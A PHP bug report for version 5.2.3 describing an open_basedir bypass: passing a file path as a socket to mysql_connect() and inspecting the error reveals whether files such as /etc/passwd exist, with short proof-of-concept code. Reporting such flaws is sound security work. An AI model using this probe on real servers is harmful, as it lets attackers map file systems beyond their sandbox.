Operating system: Linux
PHP version: 5.2.3
PHP Bug Type: Safe Mode/open_basedir
Bug description: open_basedir bypass via mysql_connect()
Description:
------------
file_exists() etc. does not allow checking the existence of files outside
the directories specified in open_basedir.
This can be circumvented using mysql_connect(). The existence of a file
can be checked using the example code below.
Reproduce code:
---------------
$filename = '/etc/passwd';
mysql_connect(':' . $filename);
$error = error_get_last();
if (strpos($error['message'], '(13)')) {
print 'file exists';
} else {
print 'file does not exist';
}
